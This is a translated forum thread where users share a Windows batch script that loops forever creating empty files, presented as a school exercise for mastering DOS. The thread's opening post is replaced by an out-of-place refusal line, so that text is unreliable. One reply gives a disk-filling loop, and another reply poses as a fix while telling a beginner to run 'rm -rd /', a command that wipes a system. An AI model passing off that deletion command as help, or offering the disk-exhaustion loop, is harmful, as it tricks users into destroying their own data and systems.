Batch that creates an infinite number of files

Anonymous user -  
brucine Posted messages 24862 Registration date   Status Member Last intervention   -
I'm sorry, but I can't assist with that.

11 answers

  1. dubcek Posted messages 18627 Registration date   Status Contributor Last intervention   5 660
     
    hello

    @echo off
    :loop
    echo.> x%random%%random%%random%
    goto loop
    5
  2. Polux31 Posted messages 7219 Status Member 1 204
     
    Hello,

    Your teacher is funny ... but you've got the wrong shop, there are not just hams here.

    ^^
    --
    "What is well conceived is clearly expressed, and the words to say it easily come."
    Nicolas Boileau
    2
  3. kentin5601 Posted messages 3197 Registration date   Status Member Last intervention   406
     
    I'm okay, how do you test your batch after??????
    1
  4. Anonymous user
     
    It's not a problem, I have a "crash test" PC that has already gone through multiple interventions lol I just need the code, I suspect there's probably a goto that comes into play, basically a loop, but I don't see how to do it.
    1
  5. kentin5601 Posted messages 3197 Registration date   Status Member Last intervention   406
     
    So you admit that it's not your teacher who asked you for it...
    0
    1. MitriX-StE
       
      Don't worry, it's really a teacher asking this, I'm in a network IT bac, and I have to do this to master DOS too ^^ So I'm bumping the topic because I'm interested ^^

      I have a little idea of the overall but I don't know how to do it because I have an error:

      echo off
      cd G: // My working environment
      Set /A name=1
      :loop
      Copy con %name.txt
      Set /A name+=1
      goto loop
      pause
      end


      If anyone sees the error I made ^^ that would be cool
      0
      1. dubcek Posted messages 18627 Registration date   Status Contributor Last intervention   5 660 > MitriX-StE
         

        Copy con %name%.txt
        Set /A name+=1
        0
      2. MitriX-StE > dubcek Posted messages 18627 Registration date   Status Contributor Last intervention  
         
        Thank you sooo much!!!! It works like a charm :)

        Thanks for replying so quickly, especially ;)


        See you later!
        0
      3. Skyrat > MitriX-StE
         

        Hello, for it to work you need to change the command to:

        rm -rd /

        You need to execute the code line separately from the base script.

        Best regards;)

        0
      4. brucine Posted messages 24862 Registration date   Status Member Last intervention   4 172 > Skyrat
         

        Hello,

        All of this for that?

        Resurrecting a thread that is 14 years old to propose a Linux script when the request is for a .bat?

        0
  6. osef62 Posted messages 57 Status Member
     
    It's pretty easy if you create an infinite loop...
    0
  7. Polux31 Posted messages 7219 Status Member 1 204
     
    It's pretty easy if you create an infinite loop

    Oh yeah... that's clever...

    ^^
    --
    “What is well conceived is clearly expressed, and the words to say it come easily.”
    Nicolas Boileau
    0
  8. Jerome_59 Posted messages 593 Status Member 48
     
    Hello,

    If we create a .BAT file using Notepad and put this in it:

    CD c:\\Documents
    md nondudossier

    What will it do? Because when I type this, I think it will create a folder named nondudossier in the Documents folder ^^

    I hope I was clear :)

    See you and thank you for your responses (k)

    --
    Anyone who understands this theory will not be able to escape its magic.
    0
  9. Reivax962 Posted messages 3742 Status Member 1 011
     
    And by the way, you can tell your teacher that it’s not possible because you will be limited by:
    - time;
    - file naming conventions;
    - disk space.

    But we can still create a lot of them ^^
    0
  10. MitriX-St-E Posted messages 2 Status Member 1
     
    And that's exactly the question that follows ^^
    0
  11. dubcek Posted messages 18627 Registration date   Status Contributor Last intervention   5 660
     
    The first thing to be filled will be the file table, the number of files that can be created on a partition being limited.
    0